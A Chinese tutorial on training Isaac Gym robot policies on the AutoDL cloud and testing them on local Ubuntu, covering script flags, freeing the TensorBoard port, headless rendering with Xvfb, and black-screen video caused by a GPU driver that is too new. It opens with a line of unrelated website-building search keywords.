网站建设合同 英文范文石家庄科技网站

网站建设合同 英文范文,石家庄科技网站,网站怎么做图片动态图片,邯郸做网站xy0310前提说明#xff1a;为什么不建议在云端直接跑渲染#xff1f;#我最开始的目标是#xff1a;训练、渲染、视频录制全部在 AutoDL 上完成#xff0c;不经过本地运行。然而现实是#xff1a;即使用 Xvfb 等虚拟显示器启动 Isaac Gym#xff0c;也会发生视频保存全黑的情况。…前提说明为什么不建议在云端直接跑渲染#我最开始的目标是训练、渲染、视频录制全部在 AutoDL 上完成不经过本地运行。然而现实是即使用 Xvfb 等虚拟显示器启动 Isaac Gym也会发生视频保存全黑的情况。VNC 远程桌面也无法正常显示 Isaac Gym 的渲染窗口。根本原因来自 驱动版本过高与 Isaac Gym 对驱动的强依赖。因此更推荐在云服务器训练模型 → 本地 Ubuntu 加载策略进行测试与演示。可以在云服务器中进行训练然后在本地进行测试这是我目前发现的比较好的方式本地使用的是ubuntu系统最后算是可以正常演示。当前的问题都是基于我完全使用autodl上进行的尝试希望可以对大家有所帮助少踩坑。训练阶段#python train.py --config BIRL --name name--name​ 存放路径experiments/name/--config​ 选择配置文件默认BIRL--resume​ 恢复训练​ egpython train.py --name stand --resume --path experiments/stand/checkpoints/policy_40000.pt--render​ 开启画面显示isaac gym窗口--fix_cam​ 视角固定在机器人上方--horovod​ 多gpu训练--r l_device​ 训练设备设置​ 默认cudo0可以改为cpu等--num_envs​ 环境数量--seed​ 随机种子利于复现--max_iterations​ 最大训练迭代次数image-20251121103327885查看结果#云端可能出现 6006 端口占用 的情况需要手动释放。1. 安装 lsofapt-get updateapt-get install lsof -y2. 查看端口占用lsof -i :60063. 杀掉进程kill -9 PID4. 重新启动 TensorBoardtensorboard --logdir experiments/name/log --port 6006image-20251121103256106运行训练好的策略 play.py#python play.py --render --name name 加载训练好的策略开始跑模拟器--render 显示画面--fix_cam 相机固定跟随机器人--cmp_real 与真实机器人采集的数据对比绘图--plt_sim 显示仿真数据的曲线图如关节角、速度等--num_envs 改变并行环境数量--video 开启视频录制保存到 videos/ 文件夹必须配合 --render--time 玩多少秒--iter 指定用哪一轮的模型默认加载目录下最后一个 policy--epochs 重复评估多少次用来统计平均性能--debug 保存仿真数据到 Excel导出ONNX模型#python export_pt2onnx.py --name name把 .pt 权重导出为 .onnx便于部署到嵌入式设备、Jetson、Unity 等。加载调试urdf模型#python tune_urdf.py测试你的机器人 URDF 是否正常加载检查质量参数、碰撞体、关节限位也可微调模型参数自动调参PIDtun_pid.py#python tune_pid.py --mode mode--modelsin 发送正弦信号测试电机响应real 上传真实机器人数据进行比较reset 恢复初始值不进行测试错误#Headless 环境无法渲染#云服务器默认无显示设备。临时方案使用虚拟显示Xvfb首先进行pip下载Xvfb :1 -screen 0 1024x768x24 #启动 X Serverexport DISPLAY:1 #设置环境变量注意但这只能让程序“以为”自己有显示无法保证正常渲染使用autodl远程连接play.py 视频录制仍为黑屏#image-20251121211032490原因分析原因云端 GPU 驱动版本过高如 570 系列超过了 Isaac Gym 的兼容范围。Isaac Gym 对渲染器依赖的驱动版本非常敏感驱动过新 → 渲染器初始化失败 → 视频录制为纯黑。目前找到比较好的方案是云端只做训练本地 Ubuntu 运行 play.py。最后的最后再次说明目前我认为比较稳妥、推荐的流程是云端训练AutoDL→ 本地 Ubuntu Play 与可视化。云端的 headless 环境与高版本驱动目前无法可靠支持 Isaac Gym 的图形渲染与视频录制本地则能完美解决所有渲染相关问题。